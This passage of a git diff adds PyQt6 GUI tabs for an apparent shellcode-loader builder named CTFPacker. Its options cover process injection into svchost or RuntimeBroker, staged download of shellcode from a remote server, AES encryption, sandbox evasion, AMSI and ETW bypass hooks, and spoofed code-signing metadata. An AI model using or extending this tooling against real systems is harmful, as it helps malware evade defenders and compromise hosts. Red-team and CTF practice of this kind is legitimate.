QHBoxLayout() + path_row.setSpacing(10) + self._path_edit = QLineEdit() + self._path_edit.setPlaceholderText("/shellcode.bin") + self._path_edit.setMaximumWidth(220) + self._path_edit.textChanged.connect(lambda: self._clear_validation(self._path_edit)) + self._https_check = QCheckBox("HTTPS") + path_row.addWidget(self._path_edit) + path_row.addWidget(self._https_check) + path_row.addStretch() + form.addRow("Path" + REQ + ":", path_row) + + self._ua_edit = QLineEdit() + self._ua_edit.setText(BuildConfig.user_agent) + form.addRow("User-Agent:", self._ua_edit) + + layout.addLayout(form) + layout.addStretch() + return page + + def _page_evasion(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques")) + + self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)") + self._scramble_check = QCheckBox("Scramble functions and variables") + self._entropy_check = QCheckBox("Entropy reduction (embed English text)") + self._sandbox_check = QCheckBox("Sandbox checks") + for check in (self._encrypt_check, self._scramble_check, + self._entropy_check, self._sandbox_check): + layout.addWidget(check) + + self._sb_thresh_row = QWidget() + thresh_layout = QHBoxLayout(self._sb_thresh_row) + thresh_layout.setContentsMargins(22, 0, 0, 0) + thresh_layout.setSpacing(5) + self._sb_uptime_lbl = QLabel("uptime") + self._sb_uptime_spin = QSpinBox() + self._sb_uptime_spin.setRange(0, 86400) + self._sb_uptime_spin.setSingleStep(60) + self._sb_uptime_spin.setValue(300) + self._sb_uptime_spin.setSuffix(" s") + self._sb_uptime_spin.setFixedWidth(72) + self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample") + self._sb_ram_lbl = QLabel("RAM") + self._sb_ram_spin = QSpinBox() + self._sb_ram_spin.setRange(1, 512) + self._sb_ram_spin.setValue(4) + self._sb_ram_spin.setSuffix(" GB") + self._sb_ram_spin.setFixedWidth(76) + self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained") + self._sb_cpu_lbl = QLabel("CPUs") + self._sb_cpu_spin = QSpinBox() + self._sb_cpu_spin.setRange(1, 256) + self._sb_cpu_spin.setValue(2) + self._sb_cpu_spin.setSuffix(" CPU") + self._sb_cpu_spin.setFixedWidth(76) + self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU") + for lbl, spin in ( + (self._sb_uptime_lbl, self._sb_uptime_spin), + (self._sb_ram_lbl, self._sb_ram_spin), + (self._sb_cpu_lbl, self._sb_cpu_spin), + ): + thresh_layout.addWidget(lbl) + thresh_layout.addWidget(spin) + thresh_layout.addSpacing(12) + thresh_layout.addStretch() + self._sb_thresh_row.setVisible(False) + self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible) + layout.addWidget(self._sb_thresh_row) + + # ── Trampoline hooks (TrampoLatté) ─────────────────────────────── + sep = QFrame() + sep.setFrameShape(QFrame.Shape.HLine) + sep.setFrameShadow(QFrame.Shadow.Plain) + layout.addSpacing(6) + layout.addWidget(sep) + + hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)") + hooks_lbl.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; " + "letter-spacing: 0.6px; text-transform: uppercase; " + "background: transparent; border: none;") + layout.addWidget(hooks_lbl) + + self._amsi_check = QCheckBox("AMSI bypass") + self._amsi_check.setToolTip( + "Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n" + "Bypasses .NET / PowerShell AMSI scanning.") + self._etw_check = QCheckBox("ETW bypass") + self._etw_check.setToolTip( + "Trampolines EtwpEventWriteFull → immediate RET.\n" + "Silences ETW telemetry from the CLR / runtime.") + self._debug_check = QCheckBox("Debug mode (OutputDebugString)") + self._debug_check.setToolTip( + "Enables [TrampoLatte] debug prints via OutputDebugStringA.\n" + "Visible in x64dbg / WinDbg / DebugView. Disable for production.") + layout.addWidget(self._amsi_check) + layout.addWidget(self._etw_check) + layout.addWidget(self._debug_check) + + layout.addStretch() + return page + + def _page_signing(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate")) + + self._pfx_edit = DropZone( + hint_text="Drag & drop certificate (.pfx) here", + browse_title="Select PFX certificate", + file_filter="PFX Files (*.pfx);;All Files (*)", + filter_exts=[".pfx"], + parent=self) + layout.addWidget(self._pfx_edit) + + form_sign = QFormLayout() + form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form_sign.setHorizontalSpacing(12) + form_sign.setVerticalSpacing(10) + form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow) + + self._pfx_pass_edit = QLineEdit() + self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password) + form_sign.addRow("PFX Password:", self._pfx_pass_edit) + layout.addLayout(form_sign) + + sep = QFrame() + sep.setFrameShape(QFrame.Shape.HLine) + sep.setFrameShadow(QFrame.Shadow.Plain) + layout.addSpacing(4) + layout.addWidget(sep) + + meta_label = QLabel("Signature Metadata") + meta_label.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; " + "letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;") + layout.addWidget(meta_label) + + form_meta = QFormLayout() + form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form_meta.setHorizontalSpacing(12) + form_meta.setVerticalSpacing(10) + form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow) + + self._sign_desc_edit = QLineEdit() + self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)") + self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.") + form_meta.addRow("Publisher Name:", self._sign_desc_edit) + + self._sign_url_edit = QLineEdit() + self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)") + self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.") + form_meta.addRow("Publisher URL:", self._sign_url_edit) + + layout.addLayout(form_meta) + layout.addStretch() + return page + + def _page_output(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Output", "Output file path and base name")) + out_row, self._output_edit = file_picker_row( + self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True) + layout.addLayout(out_row) + layout.addStretch() + return page + + def _setup_tooltips(self): + self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)") + self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection") + self._inject_combo.setToolTip( + "APC: Queue APC to suspended process (stealthier)\n" + "CopyFile2: Execute via CopyFile2 progress callback (no target process needed)") + self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)") + self._ip_edit.setToolTip("IP/hostname of shellcode download server") + self._port_spin.setToolTip("Port of shellcode download server") + self._path_edit.setToolTip("URL path to shellcode file (e.g. /shellcode.bin)") + self._https_check.setToolTip("Use HTTPS instead of HTTP for the download") + self._ua_edit.setToolTip("User-Agent header for HTTP/HTTPS download request") + self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)") + self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism") + self._entropy_check.setToolTip("Embed English text in loader to reduce entropy") + self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected") + self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)") + self._pfx_pass_edit.setToolTip("Password for the PFX certificate file") + self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)") + self._build_btn.setToolTip("Start the build (Ctrl+B)") + self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)") + + def _setup_shortcuts(self): + QShortcut(QKeySequence("Ctrl+B"), self, self._on_build) + QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile) + + def _connect_adaptive(self): + self._inject_combo.currentTextChanged.connect(self._on_inject_changed) + self._format_combo.currentTextChanged.connect(self._on_format_changed) + self._on_inject_changed(self._inject_combo.currentText()) + self._on_format_changed(self._format_combo.currentText()) + + def _on_inject_changed(self, method: str): + is_apc = method == "apc" + self._target_label.setVisible(is_apc) + self._target_combo.setVisible(is_apc) + + def _on_format_changed(self, fmt: str): + is_exe = fmt == "EXE" + item = self._nav.item(self.PAGE_SIGNING) + if is_exe: + item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable) + else: + item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)) + if self._nav.currentRow() == self.PAGE_SIGNING: + self._nav.setCurrentRow(self.PAGE_OUTPUT) + + def set_build_enabled(self, enabled: bool): + self._build_btn.setEnabled(enabled) + if enabled: + self._build_btn.setText("BUILD") + else: + self._build_btn.setText("BUILDING...") + + def _validate(self) -> bool: + errors = [] + + payload = self._payload_edit.text().strip() + if not payload: + self._set_validation_error(self._payload_edit) + errors.append("Payload file") + elif not os.path.isfile(payload): + self._set_validation_error(self._payload_edit) + errors.append(f"Payload file not found: {payload}") + + if not self._ip_edit.text().strip(): + self._set_validation_error(self._ip_edit) + errors.append("IP address") + + if not self._path_edit.text().strip(): + self._set_validation_error(self._path_edit) + errors.append("Download path") + + if errors: + dlg_warn(self, "Missing Required Fields", + f"Please fill in: {', '.join(errors)}") + return False + return True + + @staticmethod + def _set_validation_error(widget): + widget.setProperty("validationError", True) + widget.style().unpolish(widget) + widget.style().polish(widget) + + @staticmethod + def _clear_validation(widget): + if widget.property("validationError"): + widget.setProperty("validationError", False) + widget.style().unpolish(widget) + widget.style().polish(widget) + + def _on_build(self): + if not self._build_btn.isEnabled(): + return + if not self._validate(): + return + + config = BuildConfig( + mode="staged", + payload_path=self._payload_edit.text(), + format=self._format_combo.currentText(), + inject_method=self._inject_combo.currentText(), + target_process=self._target_combo.currentText(), + ip_address=self._ip_edit.text(), + port=self._port_spin.value(), + path=self._path_edit.text(), + https=self._https_check.isChecked(), + user_agent=self._ua_edit.text(), + encrypt=self._encrypt_check.isChecked(), + scramble=self._scramble_check.isChecked(), + entropy_reduction=self._entropy_check.isChecked(), + sandbox_checks=self._sandbox_check.isChecked(), + sandbox_min_uptime_s=self._sb_uptime_spin.value(), + sandbox_min_ram_gb=self._sb_ram_spin.value(), + sandbox_min_cpu=self._sb_cpu_spin.value(), + bypass_amsi=self._amsi_check.isChecked(), + bypass_etw=self._etw_check.isChecked(), + debug_mode=self._debug_check.isChecked(), + pfx=self._pfx_edit.text() or None, + pfx_password=self._pfx_pass_edit.text() or None, + sign_description=self._sign_desc_edit.text().strip(), + sign_url=self._sign_url_edit.text().strip(), + output=self._output_edit.text() or "ctfloader", + ) + self.build_requested.emit(config) + + def _apply_config(self, config: BuildConfig): + self._payload_edit.setText(config.payload_path) + self._format_combo.setCurrentText(config.format) + self._inject_combo.setCurrentText(config.inject_method) + self._target_combo.setCurrentText(config.target_process) + self._ip_edit.setText(config.ip_address) + self._port_spin.setValue(config.port) + self._path_edit.setText(config.path) + self._https_check.setChecked(config.https) + self._ua_edit.setText(config.user_agent) + self._encrypt_check.setChecked(config.encrypt) + self._scramble_check.setChecked(config.scramble) + self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False)) + self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False)) + self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300)) + self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4)) + self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2)) + self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False)) + self._etw_check.setChecked(getattr(config, 'bypass_etw', False)) + self._debug_check.setChecked(getattr(config, 'debug_mode', False)) + self._pfx_edit.setText(config.pfx or "") + self._pfx_pass_edit.setText("") # never restored — password is not persisted + self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "") + self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "") + self._output_edit.setText(config.output) + + def _reset_defaults(self): + """Reset all fields to BuildConfig defaults.""" + self._apply_config(BuildConfig(mode="staged")) + self._profile_combo.setCurrentIndex(0) + + # -- Profile management -- + + def _refresh_profiles(self): + self._profile_combo.blockSignals(True) + self._profile_combo.clear() + self._profile_combo.addItem("") + for name in self._history.list_profiles("staged"): + self._profile_combo.addItem(name) + self._profile_combo.blockSignals(False) + + def _load_profile(self, name: str): + if not name: + return + config = self._history.load_profile("staged", name) + if config: + self._apply_config(config) + + def _save_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + name, ok = dlg_text(self, "Save Profile", "Profile name:") + if not ok or not name.strip(): + return + name = name.strip() + + config = BuildConfig( + mode="staged", + payload_path=self._payload_edit.text(), + format=self._format_combo.currentText(), + inject_method=self._inject_combo.currentText(), + target_process=self._target_combo.currentText(), + ip_address=self._ip_edit.text(), + port=self._port_spin.value(), + path=self._path_edit.text(), + https=self._https_check.isChecked(), + user_agent=self._ua_edit.text(), + encrypt=self._encrypt_check.isChecked(), + scramble=self._scramble_check.isChecked(), + entropy_reduction=self._entropy_check.isChecked(), + sandbox_checks=self._sandbox_check.isChecked(), + sandbox_min_uptime_s=self._sb_uptime_spin.value(), + sandbox_min_ram_gb=self._sb_ram_spin.value(), + sandbox_min_cpu=self._sb_cpu_spin.value(), + bypass_amsi=self._amsi_check.isChecked(), + bypass_etw=self._etw_check.isChecked(), + debug_mode=self._debug_check.isChecked(), + pfx=self._pfx_edit.text() or None, + pfx_password=self._pfx_pass_edit.text() or None, + sign_description=self._sign_desc_edit.text().strip(), + sign_url=self._sign_url_edit.text().strip(), + output=self._output_edit.text() or "ctfloader", + ) + self._history.save_profile("staged", name, config) + self._refresh_profiles() + self._profile_combo.setCurrentText(name) + + def _delete_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + return + if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"): + self._history.delete_profile("staged", name) + self._refresh_profiles() + + def _export_profile(self): + name = self._profile_combo.currentText().strip() + if not name: + dlg_warn(self, "No Profile Selected", + "Select a saved profile before exporting.") + return + try: + data = self._history.export_profile("staged", name) + except KeyError: + dlg_warn(self, "Export Failed", + f"Profile '{name}' could not be found.") + return + path, _ = QFileDialog.getSaveFileName( + self, "Export Profile", f"{name}.ctfp", + "CTFPacker Profile (*.ctfp);;All Files (*)") + if not path: + return + try: + with open(path, "w") as fh: + json.dump(data, fh, indent=2) + except IOError as exc: + dlg_error(self, "Export Failed", f"Could not write file:\n{exc}") + + def _import_profile(self): + path, _ = QFileDialog.getOpenFileName( + self, "Import Profile", "", + "CTFPacker Profile (*.ctfp);;All Files (*)") + if not path: + return + try: + with open(path, "r") as fh: + data = json.load(fh) + except (json.JSONDecodeError, IOError) as exc: + dlg_error(self, "Import Failed", + f"Could not read profile file:\n{exc}") + return + + profile_mode = data.get("mode", "") + profile_name = data.get("name", "").strip() + + if profile_mode not in ("staged", "stageless"): + dlg_error(self, "Import Failed", + "Invalid profile file: unknown mode.") + return + + if profile_mode != "staged": + if not dlg_ask(self, "Mode Mismatch", + f"This profile is for the {profile_mode} tab, " + f"not staged.\nIt will be imported into the " + f"{profile_mode} profile list.\n\nContinue?", + default_yes=True): + return + + if profile_name in self._history.list_profiles(profile_mode): + if not dlg_ask(self, "Profile Exists", + f"A profile named '{profile_name}' already exists " + f"in the {profile_mode} tab.\nOverwrite?"): + return + + try: + mode, name = self._history.import_profile(data) + except ValueError as exc: + dlg_error(self, "Import Failed", str(exc)) + return + + self.profile_imported.emit() + if mode == "staged": + self._profile_combo.setCurrentText(name) + else: + dlg_info(self, "Profile Imported", + f"Profile '{name}' imported into the {mode} tab.") diff --git a/Linux/gui/widgets/stageless_tab.py b/Linux/gui/widgets/stageless_tab.py new file mode 100644 index 0000000..20c3273 --- /dev/null +++ b/Linux/gui/widgets/stageless_tab.py @@ -0,0 +1,623 @@ +# -*- coding: utf-8 -*- +"""Stageless payload configuration tab.""" +import os +import json + +from PyQt6.QtWidgets import ( + QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel, + QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox, + QScrollArea, QFrame, QListWidget, QStackedWidget, + QListWidgetItem, QFileDialog +) +from PyQt6.QtCore import pyqtSignal, Qt +from PyQt6.QtGui import QKeySequence, QShortcut + +from core.build_config import BuildConfig +from gui.theme import TEXT_DIM +from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text +from gui.history import HistoryManager + +REQ = " *" + + +class StagelessTab(QWidget): + """Form for stageless payload configuration.""" + + build_requested = pyqtSignal(object) # emits BuildConfig + profile_imported = pyqtSignal() # emitted after a .ctfp import + + def __init__(self, history_manager: HistoryManager, parent=None): + super().__init__(parent) + self._history = history_manager + self._setup_ui() + self._setup_tooltips() + self._setup_shortcuts() + self._connect_adaptive() + self._refresh_profiles() + + # ── Page indices ────────────────────────────────────────────────────── + PAGE_PAYLOAD = 0 + PAGE_FORMAT = 1 + PAGE_EVASION = 2 + PAGE_SIGNING = 3 + PAGE_OUTPUT = 4 + + def _setup_ui(self): + outer = QVBoxLayout(self) + outer.setContentsMargins(0, 0, 0, 0) + outer.setSpacing(0) + + # ── Top bar: Profiles ────────────────────────────────────────────── + bar = QWidget() + bar.setObjectName("profilesBar") + bl = QHBoxLayout(bar) + bl.setContentsMargins(12, 7, 12, 7) + self._profile_combo = QComboBox() + self._profile_combo.setMinimumWidth(180) + self._profile_combo.currentTextChanged.connect(self._load_profile) + self._save_btn = QPushButton("Save") + self._save_btn.clicked.connect(self._save_profile) + delete_btn = QPushButton("Delete") + delete_btn.setObjectName("deleteButton") + delete_btn.clicked.connect(self._delete_profile) + export_btn = QPushButton("Export ↑") + export_btn.setToolTip("Export selected profile to a .ctfp file") + export_btn.clicked.connect(self._export_profile) + import_btn = QPushButton("Import ↓") + import_btn.setToolTip("Import a .ctfp profile file") + import_btn.clicked.connect(self._import_profile) + bl.addWidget(QLabel("Profile:")) + bl.addWidget(self._profile_combo, stretch=1) + bl.addWidget(self._save_btn) + bl.addWidget(delete_btn) + bl.addWidget(export_btn) + bl.addWidget(import_btn) + outer.addWidget(bar) + + # ── Body: sidebar + pages ────────────────────────────────────────── + body = QWidget() + body_layout = QHBoxLayout(body) + body_layout.setContentsMargins(0, 0, 0, 0) + body_layout.setSpacing(0) + + self._nav = QListWidget() + self._nav.setObjectName("sideNav") + self._nav.setFixedWidth(148) + self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff) + for name in ("Payload", "Format", "Evasion", "Code Signing", "Output"): + self._nav.addItem(name) + + vdiv = QFrame() + vdiv.setFrameShape(QFrame.Shape.VLine) + vdiv.setFrameShadow(QFrame.Shadow.Plain) + + self._stack = QStackedWidget() + self._stack.addWidget(self._page_payload()) + self._stack.addWidget(self._page_format()) + self._stack.addWidget(self._page_evasion()) + self._stack.addWidget(self._page_signing()) + self._stack.addWidget(self._page_output()) + + self._nav.currentRowChanged.connect(self._stack.setCurrentIndex) + self._nav.setCurrentRow(0) + + body_layout.addWidget(self._nav) + body_layout.addWidget(vdiv) + body_layout.addWidget(self._stack, stretch=1) + outer.addWidget(body, stretch=1) + + # ── Bottom bar: BUILD + Reset ────────────────────────────────────── + sep_bot = QFrame() + sep_bot.setFrameShape(QFrame.Shape.HLine) + sep_bot.setFrameShadow(QFrame.Shadow.Plain) + outer.addWidget(sep_bot) + + footer = QWidget() + footer.setObjectName("buildFooter") + fl = QHBoxLayout(footer) + fl.setContentsMargins(12, 8, 12, 8) + self._build_btn = QPushButton("BUILD") + self._build_btn.setObjectName("buildButton") + self._build_btn.clicked.connect(self._on_build) + self._reset_btn = QPushButton("Reset") + self._reset_btn.setToolTip("Reset all fields to defaults") + self._reset_btn.setFixedWidth(80) + self._reset_btn.clicked.connect(self._reset_defaults) + fl.addWidget(self._build_btn, stretch=1) + fl.addWidget(self._reset_btn) + outer.addWidget(footer) + + # ── Page helpers ─────────────────────────────────────────────────────── + + def _make_page(self): + """Scroll-wrapped page container. Returns (scroll_widget, layout).""" + inner = QWidget() + layout = QVBoxLayout(inner) + layout.setContentsMargins(28, 22, 28, 22) + layout.setSpacing(16) + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setFrameShape(QFrame.Shape.NoFrame) + scroll.setWidget(inner) + return scroll, layout + + def _page_header(self, title: str, subtitle: str = "") -> QWidget: + """Consistent page title + thin rule.""" + w = QWidget() + vl = QVBoxLayout(w) + vl.setContentsMargins(0, 0, 0, 6) + vl.setSpacing(3) + t = QLabel(title) + t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;") + vl.addWidget(t) + if subtitle: + s = QLabel(subtitle) + s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;") + vl.addWidget(s) + line = QFrame() + line.setFrameShape(QFrame.Shape.HLine) + line.setFrameShadow(QFrame.Shadow.Plain) + vl.addWidget(line) + return w + + # ── Pages ────────────────────────────────────────────────────────────── + + def _page_payload(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader")) + self._payload_edit = DropZone( + file_filter="Binary Files (*.bin);;All Files (*)", + filter_exts=['.bin'], + hint_text="Drag & drop shellcode (.bin) here", + browse_title="Select Shellcode Binary", + parent=self) + self._payload_edit.path_changed.connect( + lambda: self._clear_validation(self._payload_edit)) + layout.addWidget(self._payload_edit) + layout.addStretch() + return page + + def _page_format(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Output Format", "Loader type and injection technique")) + + form = QFormLayout() + form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form.setHorizontalSpacing(12) + form.setVerticalSpacing(10) + form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint) + + self._format_combo = QComboBox() + self._format_combo.addItems(["EXE", "DLL"]) + self._format_combo.setMinimumWidth(140) + form.addRow("Format:", self._format_combo) + + self._inject_combo = QComboBox() + self._inject_combo.addItems(["apc", "copyfile2"]) + self._inject_combo.setMinimumWidth(140) + form.addRow("Injection:", self._inject_combo) + + self._target_label = QLabel("Target process:") + self._target_combo = QComboBox() + self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"]) + self._target_combo.setMinimumWidth(140) + form.addRow(self._target_label, self._target_combo) + + layout.addLayout(form) + layout.addStretch() + return page + + def _page_evasion(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques")) + + self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)") + self._scramble_check = QCheckBox("Scramble functions and variables") + self._entropy_check = QCheckBox("Entropy reduction (embed English text)") + self._sandbox_check = QCheckBox("Sandbox checks") + for check in (self._encrypt_check, self._scramble_check, + self._entropy_check, self._sandbox_check): + layout.addWidget(check) + + self._sb_thresh_row = QWidget() + thresh_layout = QHBoxLayout(self._sb_thresh_row) + thresh_layout.setContentsMargins(22, 0, 0, 0) + thresh_layout.setSpacing(5) + self._sb_uptime_lbl = QLabel("uptime") + self._sb_uptime_spin = QSpinBox() + self._sb_uptime_spin.setRange(0, 86400) + self._sb_uptime_spin.setSingleStep(60) + self._sb_uptime_spin.setValue(300) + self._sb_uptime_spin.setSuffix(" s") + self._sb_uptime_spin.setFixedWidth(72) + self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample") + self._sb_ram_lbl = QLabel("RAM") + self._sb_ram_spin = QSpinBox() + self._sb_ram_spin.setRange(1, 512) + self._sb_ram_spin.setValue(4) + self._sb_ram_spin.setSuffix(" GB") + self._sb_ram_spin.setFixedWidth(76) + self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained") + self._sb_cpu_lbl = QLabel("CPUs") + self._sb_cpu_spin = QSpinBox() + self._sb_cpu_spin.setRange(1, 256) + self._sb_cpu_spin.setValue(2) + self._sb_cpu_spin.setSuffix(" CPU") + self._sb_cpu_spin.setFixedWidth(76) + self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU") + for lbl, spin in ( + (self._sb_uptime_lbl, self._sb_uptime_spin), + (self._sb_ram_lbl, self._sb_ram_spin), + (self._sb_cpu_lbl, self._sb_cpu_spin), + ): + thresh_layout.addWidget(lbl) + thresh_layout.addWidget(spin) + thresh_layout.addSpacing(12) + thresh_layout.addStretch() + self._sb_thresh_row.setVisible(False) + self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible) + layout.addWidget(self._sb_thresh_row) + + # ── Trampoline hooks (TrampoLatté) ─────────────────────────────── + sep = QFrame() + sep.setFrameShape(QFrame.Shape.HLine) + sep.setFrameShadow(QFrame.Shadow.Plain) + layout.addSpacing(6) + layout.addWidget(sep) + + hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)") + hooks_lbl.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; " + "letter-spacing: 0.6px; text-transform: uppercase; " + "background: transparent; border: none;") + layout.addWidget(hooks_lbl) + + self._amsi_check = QCheckBox("AMSI bypass") + self._amsi_check.setToolTip( + "Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n" + "Bypasses .NET / PowerShell AMSI scanning.") + self._etw_check = QCheckBox("ETW bypass") + self._etw_check.setToolTip( + "Trampolines EtwpEventWriteFull → immediate RET.\n" + "Silences ETW telemetry from the CLR / runtime.") + self._debug_check = QCheckBox("Debug mode (OutputDebugString)") + self._debug_check.setToolTip( + "Enables [TrampoLatte] debug prints via OutputDebugStringA.\n" + "Visible in x64dbg / WinDbg / DebugView. Disable for production.") + layout.addWidget(self._amsi_check) + layout.addWidget(self._etw_check) + layout.addWidget(self._debug_check) + + layout.addStretch() + return page + + def _page_signing(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate")) + + self._pfx_edit = DropZone( + hint_text="Drag & drop certificate (.pfx) here", + browse_title="Select PFX certificate", + file_filter="PFX Files (*.pfx);;All Files (*)", + filter_exts=[".pfx"], + parent=self) + layout.addWidget(self._pfx_edit) + + form_sign = QFormLayout() + form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form_sign.setHorizontalSpacing(12) + form_sign.setVerticalSpacing(10) + form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow) + + self._pfx_pass_edit = QLineEdit() + self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password) + form_sign.addRow("PFX Password:", self._pfx_pass_edit) + layout.addLayout(form_sign) + + sep = QFrame() + sep.setFrameShape(QFrame.Shape.HLine) + sep.setFrameShadow(QFrame.Shadow.Plain) + layout.addSpacing(4) + layout.addWidget(sep) + + meta_label = QLabel("Signature Metadata") + meta_label.setStyleSheet( + f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; " + "letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;") + layout.addWidget(meta_label) + + form_meta = QFormLayout() + form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + form_meta.setHorizontalSpacing(12) + form_meta.setVerticalSpacing(10) + form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow) + + self._sign_desc_edit = QLineEdit() + self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)") + self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.") + form_meta.addRow("Publisher Name:", self._sign_desc_edit) + + self._sign_url_edit = QLineEdit() + self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)") + self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.") + form_meta.addRow("Publisher URL:", self._sign_url_edit) + + layout.addLayout(form_meta) + layout.addStretch() + return page + + def _page_output(self): + page, layout = self._make_page() + layout.addWidget(self._page_header("Output", "Output file path and base name")) + out_row, self._output_edit = file_picker_row( + self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True) + layout.addLayout(out_row) + layout.addStretch() + return page + + def _setup_tooltips(self): + self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)") + self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection") + self._inject_combo.setToolTip( + "APC: Queue APC to suspended process (stealthier)\n" + "CopyFile2: Execute via CopyFile2 progress callback (no target process needed)") + self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)") + self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)") + self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism") + self._entropy_check.setToolTip("Embed English text in loader to reduce entropy") + self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected") + self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)") + self._pfx_pass_edit.setToolTip("Password for the PFX certificate file") + self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)") + self._build_btn.setToolTip("Start the build (Ctrl+B)") + self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)") + + def _setup_shortcuts(self): + QShortcut(QKeySequence("Ctrl+B"), self, self._on_build) + QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile) + + def _connect_adaptive(self): + self._inject_combo.currentTextChanged.connect(self._on_inject_changed) + self._format_combo.currentTextChanged.connect(self._on_format_changed) + self._on_inject_changed(self._inject_combo.currentText()) + 